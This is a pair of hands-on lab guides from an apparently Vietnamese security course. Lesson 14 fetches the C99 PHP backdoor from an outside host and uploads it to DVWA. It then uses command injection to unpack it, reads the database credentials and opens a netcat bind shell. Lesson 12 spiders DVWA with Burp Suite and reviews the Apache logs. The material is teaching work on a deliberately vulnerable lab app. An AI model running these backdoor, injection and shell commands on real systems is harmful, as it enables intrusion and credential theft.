Hướng Dẫn Thực hành - Upload and use C99.php Backdoor shell (DVWA): Lesson 14

{ Upload and use C99.php Backdoor shell  }

---

Section 0. Background Information

1. What is Damn Vulnerable Web App (DVWA)?
   • Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable.
   • Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.
2. Pre-Requisite Labs
   • Damn Vulnerable Web App (DVWA): Lesson 1: How to Install DVWA in Fedora 14
3. Lab Notes
   • In this lab we will do the following:
     1. We will download C99.php.
     2. We will upload C99.php to the DVWA Upload screen.
     3. We will search for sensitive database files.
     4. We will extract the database password.
     5. We will execute netcat from the C99.php Bind Interface.
4. Legal Disclaimer
   Bài lab chỉ dùng cho mục đích nghiên cứu và học tập trong môi trường lớp học.

Section 1. Configure Fedora14 Virtual Machine Settings

1. Open Your VMware Player
   • Instructions:
     1. On Your Host Computer, Go To
     2. Start --> All Program --> VMWare --> VMWare Player
2. Edit BackTrack Virtual Machine Settings
   • Instructions:
     1. Highlight fedora14
     2. Click Edit virtual machine settings
   • 
3. Edit Network Adapter
• Instructions:
  1. Highlight Network Adapter
  2. Select Bridged
  3. Click on the OK Button.
• 

Section 2. Login to Fedora14

1. Start Fedora14 VM Instance
   • Instructions:
     1. Start Up VMWare Player
     2. Select Fedora14
     3. Play virtual machine
   • 
2. Login to Fedora14
   • Instructions:
     1. Login: student
     2. Password: <whatever you set it to>.
   • 

Section 3. Open Console Terminal and Retrieve IP Address

1. Start a Terminal Console
   • Instructions:
     1. Applications --> Terminal
   • 
2. Switch user to root
   • Instructions:
     1. su - root
     2. <Whatever you set the root password to>
   • 
3. Get IP Address
   • Instructions:
     1. ifconfig -a
   • Notes:
     • As indicated below, my IP address is 192.168.1.106.
     • Please record your IP address.
   • 

Section 4. Temporarily Disable SELINUX and Firewall

1. Start a Terminal Console
   • Instructions:
     1. sestatus
     2. If SELinux status: is set to disabled OR if Current mode: is set to permissive, then skip the next steps, and Continue to the Next Section.
     3. If SELinux status: is set to enabled AND if Current mode: is set to enforcing, then Continue the next steps.
   • Notes:
     • In my case, I need to temporarily put selinux in permissive mode to demonstrate basic attacks on DVWA.
   • 
2. Place selinux in permissive mode
   • Instructions:
     1. echo 0 > /selinux/enforce
        • Placing a "0" in the enforce file, puts selinux in permissive mode.
     2. sestatus
        • Notice that "Current mode:" changed to permissive.
   • 
3. Disable Firewall
   • Instructions:
     1. service iptables save
        • This is not really necessary, unless you have made recent changes to the firewall.
     2. service iptables stop
        • This command disables the firewall.
   • 

Section 5. Fix Upload Ownership and Permissions

1. Fix Ownership and Permissions
   • Instructions:
     1. Bring up a Terminal Console on the DVWA (Fedora14) machine.
     2. chown root:apache /var/www/html/dvwa/hackable/uploads/
     3. chmod 775 /var/www/html/dvwa/hackable/uploads/
     4. ls -ld /var/www/html/dvwa/hackable/uploads/
   • Known Issue:
     1. By default, the /var/www/html/dvwa/hackable/uploads/ directory is user and group owned by root.
     2. In addition, the apache user did not have "write" permission to allow a user to place a file in the hackable/uploads directory.
   • 

Section 6. Configure BackTrack Virtual Machine Settings

1. Open Your VMware Player
   • Instructions:
     1. On Your Host Computer, Go To
     2. Start --> All Program --> VMWare --> VMWare Player
2. Edit BackTrack Virtual Machine Settings
   • Instructions:
     1. Highlight BackTrack5R1
     2. Click Edit virtual machine settings
   • 
3. Edit Network Adapter
   • Instructions:
     1. Highlight Network Adapter
     2. Select Bridged
     3. Click on the OK Button.
   • 

Section 7. Login to BackTrack

1. Start BackTrack VM Instance
   • Instructions:
     1. Start Up VMWare Player
     2. Select BackTrack5R1
     3. Play virtual machine
   • 
2. Login to BackTrack
   • Instructions:
     1. Login: root
     2. Password: toor or <whatever you changed it to>.
   • 
3. Bring up the GNOME
   • Instructions:
     1. Type startx
   • 

Section 8. Open Console Terminal and Retrieve IP Address

1. Open a console terminal
   • Instructions:
     1. Click on the console terminal
   • 
2. Get IP Address
   • Instructions:
     1. ifconfig -a
   • Notes:
     • As indicated below, my IP address is 192.168.1.105.
     • Please record your IP address.
   • 

Section 9. Download c99.php

1. Open a console terminal
   • Instructions:
     1. Click on the console terminal
   • 
2. Create msfpayload
   • Instructions:
     1. mkdir -p /root/backdoor
     2. cd /root/backdoor/
     3. wget http://r57.gen.tr/shell/c99.rar
     4. ls -l c99.rar
   • 
3. Edit PHONE_HOME.php
   • Note(FYI):
     • A rar file is a type of compress format that is seen more in the windows environment than in linux.
     • Also, we will edit the c99.php file with the sed utility.
   • Instructions:
     1. unrar x c99.rar
        • Extract c99.php
     2. cp c99.php c99.php.bkp
     3. head -1 c99.php
        • Notice how the first line does NOT contain "<?php".
     4. sed -i '1 s/^.*$/<?php/g' c99.php
        • This only replaces the first line of file with "<?php".
     5. head -1 c99.php
        • Notice how the first line DOES contain "<?php".
     6. gzip c99.php
        • I compress c99.php, because DVWA does not allow you to upload files greater than 10000 bytes.
        • I use gzip instead of rar, because gzip pretty much comes standard on most flavors of linux.
     7. ls -l
   • 

Section 10. Login to DVWA

1. Start Firefox
   • Instructions:
     1. Click on Firefox
   • 
2. Login to DVWA
   • Instructions:
     1. Start up Firefox on BackTrack
     2. Place http://192.168.1.106/dvwa/login.php in the address bar.
        • Replace 192.168.1.106 with the IP address of the DVWA (Fedora14) machine obtained in (Section 3, Step 3).
     3. Login: admin
     4. Password: password
     5. Click on Login
   • 

Section 11. Set Security Level

1. Set DVWA Security Level
   • Instructions:
     1. Click on DVWA Security, in the left hand menu.
     2. Select "low"
     3. Click Submit
   • 

Section 12. Upload PHP Payload

1. Upload Menu
   • Instructions:
     1. Select "Upload" from the left navigation menu.
     2. Click Browse
   • 
2. Navigate to /root/backdoor/c99.php.gz
   • Instructions:
     1. Click on root icon, then the backdoor folder
     2. Click on c99.php.gz
     3. Select Open
   • 
3. Upload c99.php.gz
   • Instructions:
     1. Click the Browse button and navigate to /root/backdoor/c99.php.gz
     2. Click the Upload Button
   • Note(FYI):
     • Hopefully you will receive a successfully uploaded message like below.
   • 
4. Activate PHONE_HOME.php
   • Instructions:
     1. http://192.168.1.106/dvwa/hackable/uploads/
        • Replace 192.168.1.106 with the IP address of the DVWA (Fedora14) machine obtained in (Section 3, Step 3).
     2. Notice c99.php.gz is listed
     3. Click the Back Button after you read the below Note.
   • Note(FYI):
     • Okay this is great and all, but we still have a problem.
     • The problem is that we cannot execute a compressed php file.
   • 
5. Use Command Execution to uncompress c99.php.gz
   • Instruction:
     1. Click on Command Execution
     2. 192.168.1.106; /bin/gunzip -v ../../hackable/uploads/c99.php
        • Replace 192.168.1.106 with the IP address of the DVWA (Fedora14) machine obtained in (Section 3, Step 3).
     3. Click the Submit Button
   • 
6. Establishing a Shell
   • Instructions:
     1. http://192.168.1.106/dvwa/hackable/uploads/
        • Replace 192.168.1.106 with the IP address of the DVWA (Fedora14) machine obtained in (Section 3, Step 3).
     2. Click on c99.php
   • 

Section 14. Using c99.php's to grab database password

1. Server security information
   • Instructions:
     1. Click on the Sec. link
     2. Select "find config.inc.php files"
        • Sometimes ignorant application admins place database config files in a public location.
     3. Click on the Execute button
   • 
2. Server security information
   • Instructions:
     1. Highlight /var/www/html/dvwa/config/config.inc.php
     2. Select Edit --> Copy
   • 
3. PHP-code
   • Instructions:
     1. Click on the PHP-code link
     2. In the Execution PHP-code box place the below command:
        • system("cat /var/www/html/dvwa/config/config.inc.php");
     3. Click on the Execution Button
   • 
4. Extract Database Password
   • Note(FYI):
     • Notice the config.inc.php file list the database name, username and password information.
   • Instructions:
     1. Write down the the database name, username and password information.
   • 

Section 15. Using c99.php's to examine pillage the database

1. Connect to SQL
   • Instructions:
     1. Click the SQL navigation link.
     2. Username: root
     3. Password: dvwaPASSWORD
     4. Database: dvwa
     5. Click the Connect Button
   • 
2. Connect to SQL
   • Note(FYI):
     • Notice Action icons, designated under the yellow arrow.  From left to right, the stand for delete, drop and insert.
     • Notice you have the ability to Create and Dump the database, which is also designated with yellow arrows.
   • Instructions:
     1. Click the users table
   • 
3. SQL Insert
   • Note(FYI):
     • Notice the Action icons, designated under the yellow arrow.  For each user from left to right, you have the ability to delete or modify their record.
   • Instructions:
     1. Click the Insert Navigational Link
   • 
4. Create a new user
   • Note(FYI):
     • Use your first_name and last_name for Proof of Lab purposes.
   • Instructions:
     1. user_id: 6
     2. first_name: Use your actual first name
     3. last_name: Use your actual last name
     4. user: student
     5. Select PASSWORD from the drop down
     6. password: hacker
     7. avatar: NA
     8. Click the Confirm Button
   • 
5. Finalize User Creation
   • Note(FYI):
     • Notice the SQL insert line that will be inserted into the database.  Here, the author allows you to tweak it if you need to.
   • Instructions:
     1. Click on the Yes button.
   • 
6. Viewing User Creation Results
   • Note(FYI):
     • Notice a new student record appears.
   • 

Section 16. Use c99.php to Bind with Netcat

1. Bind with Netcat
   • Instructions:
     1. Click on the Bind Navigational Link
     2. In the Command execute box enter the below syntax
        • mkfifo /tmp/pipe;sh /tmp/pipe | nc -l 4444 > /tmp/pipe
     3. Click the Execute Button
     4. Notice the Connecting Message in the tab.
        • This means a netcat session is started
     5. Continue to next step
   • 

Section 17. Proof of Lab

1. Proof of Lab
   • Instructions:
     1. nc 192.168.1.106 4444
        • Replace 192.168.1.106 with the DVWA's IP Address obtained in (Section 3, Step 3).
     2. whoami
     3. pwd
     4. echo "select * from dvwa.users where user = 'student';" | mysql -uroot -pdvwaPASSWORD
     5. date
     6. echo "Your Name"
   • Proof of Lab Instructions:
     1. Do a <PrtScn>
     2. Paste into a word document
     3. Upload to website Www.AnToanThongTin.Edu.Vn
   • 

Hướng Dẫn Thực Hành -Burp Suite, Spider Function : Lesson 12

1. What is Damn Vulnerable Web App (DVWA)?
   • Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable.
   • Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.
2. What is Burp Suite?
   • Burp suite is a java application that can be used to secure or crack web applications. The suite consists of different tools, like a proxy server, a web spider an intruder and a so called repeater, with which requests can be automated.
3. Pre-Requisite Labs
   • Damn Vulnerable Web App (DVWA): Lesson 1: How to Install DVWA in Fedora 14
   • BackTrack: Lesson 1: Installing BackTrack 5 Rx
4. Lab Notes
   • In this lab we will do the following:
     1. We will configure Firefox to use Burp Suite as its Proxy
     2. We will configure Burp Suite to accept requests from Firefox.
     3. We will use Burp Suite to spider the DVWA web application.
     4. We will conduct a very simple forensics investigation on Fedora's Web Server, in which the DVWA web application resides.
5. Legal Disclaimer
    Bài lab dùng cho mục đích học tập

Section 1. Configure Fedora14 Virtual Machine Settings

1. Open Your VMware Player
   • Instructions:
     1. On Your Host Computer, Go To
     2. Start --> All Program --> VMWare --> VMWare Player
2. Edit fedora14 Virtual Machine Settings
   • Instructions:
     1. Highlight fedora14
     2. Click Edit virtual machine settings
   • 
3. Edit Network Adapter
• Instructions:
  1. Highlight Network Adapter
  2. Select Bridged
  3. Click on the OK Button.
• 

Section 2. Login to Fedora14

1. Start Fedora14 VM Instance
   • Instructions:
     1. Start Up VMWare Player
     2. Select Fedora14
     3. Play virtual machine
   • 
2. Login to Fedora14
   • Instructions:
     1. Login: student
     2. Password: <whatever you set it to>.
   • 

Section 3. Open Console Terminal and Retrieve IP Address

1. Start a Terminal Console
   • Instructions:
     1. Applications --> Terminal
   • 
2. Switch user to root
   • Instructions:
     1. su - root
     2. <Whatever you set the root password to>
   • 
3. Get IP Address
   • Instructions:
     1. ifconfig -a
   • Notes:
     • As indicated below, my IP address is 192.168.1.106.
     • Please record your IP address.
   • 

Section 4. Configure BackTrack Virtual Machine Settings

1. Open Your VMware Player
   • Instructions:
     1. On Your Host Computer, Go To
     2. Start --> All Program --> VMWare --> VMWare Player
2. Edit BackTrack Virtual Machine Settings
   • Instructions:
     1. Highlight BackTrack5R1
     2. Click Edit virtual machine settings
   • 
3. Edit Network Adapter
   • Instructions:
     1. Highlight Network Adapter
     2. Select Bridged
     3. Do not Click on the OK Button.
   • 

Section 5. Login to BackTrack

1. Start BackTrack VM Instance
   • Instructions:
     1. Start Up VMWare Player
     2. Select BackTrack5R1
     3. Play virtual machine
   • 
2. Login to BackTrack
   • Instructions:
     1. Login: root
     2. Password: toor or <whatever you changed it to>.
   • 
3. Bring up the GNOME
   • Instructions:
     1. Type startx
   • 

Section 6. Open Console Terminal and Retrieve IP Address

1. Open a console terminal
   • Instructions:
     1. Click on the console terminal
   • 
2. Get IP Address
   • Instructions:
     1. ifconfig -a
   • Notes:
     • As indicated below, my IP address is 192.168.1.105.
     • Please record your IP address.
   • 

Section 7. Configure Firefox Proxy Settings

1. Start Firefox
   • Instructions:
     1. Click on Firefox
   • 
2. Preferences
   • Instructions:
     1. Edit --> Preferences
   • 
3. Preferences
   • Instructions:
     1. Click on Advanced
     2. Click on the Network Tab
     3. Click on the Settings Button
   • 
4. Preferences
   • Instructions:
     1. Click on Manual proxy configurations
     2. Type "127.0.0.1" in the HTTP Proxy Text Box
     3. Type "8080" in the Port Text Box
     4. Check Use the proxy server for all protocols
     5. Click OK
     6. Click Close
   • 

Section 8. Configure Burp Suite

1. Start Burp Suite
   • Instructions:
     1. Applications --> Vulnerability Assessment --> Web Application Assessment ---> Web Vulnerability Scanner --> burpsuite
   • 
2. JRE Message
   • Instructions:
     1. Click OK
   • 
3. Configure proxy
   • Instructions:
     1. Click on the proxy tab
     2. Click on the options tab
     3. Verify the port is set to 8080
   • 
4. Turn on intercept
   • Instructions:
     1. Click on the proxy tab
     2. Click on the intercept tab
     3. Click on the "intercept is on" button to change it to "intercept is off"
   • 

Section 9. Spider with Burp Suite

1. Browse to DVWA's homepage
   • Instructions:
     1. http://IPADDRESS/dvwa/
        • Replace IPADDRESS with the Fedora's IP Address obtain in (Section 3, Step 3).
     2. Press <Enter>
     3. Continue to Next Step.
   • 
2. Target Host
   • Instructions:
     1. Click on the target tab
     2. Click on the site map tab
   • Notes(FYI):
     3. Although the intercept is turned off you are still able to view get requests.
     4. In addition, you are able to see the contents of the get requests, including the PHPSESSID for /dvwa/login.php.
     5. Notice, how a directory structure of the DVWA has been created for the login page.
     6. Continue to Next Step.
   • 
3. Spider Configuration
   • Instructions:
     1. Click on the spider tab
     2. Click on the options tab
     3. Click on radio button "automatically submit these credentials"
     4. Click on the request tab
     5. username: admin
     6. password: password
   • 
4. Spider Host
   • Instructions:
     1. Click on the target tab
     2. Click on the site map tab
     3. Click on the DVWA IP Address, then Right Click to display the utility menu.
     4. Click on spider this host.
     5. Continue to Next Step
   • 
5. Spider Directory True Results
   • Notes:
     1. Notice that you now have a pretty accurate map of the DVWA website.
     2. Continue to next step.
   • 
    
6. Spider Directory True Results
   • Instructions:
     1. Click on the spider tab
     2. Click on the control tab
     3. Notice that 460+/- requests were made to the DVWA website.
     4. Continue to Next Step
   • 

Section 10. View Scan Results on Fedora DVWA web server

1. Viewing Apache's Access Log
   • Instructions:
     1. Go to the Fedora14 VM
     2. Bring up a Terminal Windows
     3. su - root
     4. cd /var/log/httpd
     5. tail -400 access_log | more
        • tail -400, means display the last 400 lines of the apache's access_log. (I choose 400, because there 460 requests made to DVWA during the spider action)
        • more, means give it to me one screenful at a time.
   • 
2. Viewing Apache's Error Log
   • Instructions:
     1. cd /var/log/http
     2. grep `date '+%a %b %d'` error_log | head
        • grep, search and print lines matching a certain pattern.
        • `date '+%a %b %d'`, display today's date where %a is the abbreviated weekday name, %b is the abbreviated month name, and %d is the abbreviated month name.
        • error_log, is apache's error_log.  Events go in this log when (1) people/spiders are searching for something that might not exists or (2) people/spiders are sending passive/malicious instructions to a form.
        • head, show me the first 10 lines.
     3. Notice how the burpsuite spider is searching for fires that do not exist.
   • 

Section 11. Clean Up Notes

1. On BackTrack's Firefox
   • Instructions:
     1. Edit --> Preferences
   • 
2. Edit Network Settings
   • Instructions:
     1. Click on Advanced
     2. Click on Network Tab.
     3. Click on Settings Button.
   • 
3. Configure Connection Settings
   • Instructions:
     1. Click on No proxy radio button
     2. Click on the OK Button
     3. Click on the Close button
   • 

Section 12. Proof of Lab

1. Proof of Lab
   • Proof of Lab Instructions:
     1. On Fedora, pull up a terminal window.
     2. cd /var/log/httpd
     3. grep `date '+%d/%b/%Y'` access_log | wc -l
        • wc -l, count how man lines grep found for today's date in the access_log.
     4. date
     5. echo "Your Name"
        • Replace the string "Your Name" with your actual name.
        • e.g., echo "John Gray"
     6. Do a <PrtScn>
     7. Paste into a word document
     8. Upload to Www.AnToanThongTin.Edu.Vn
   •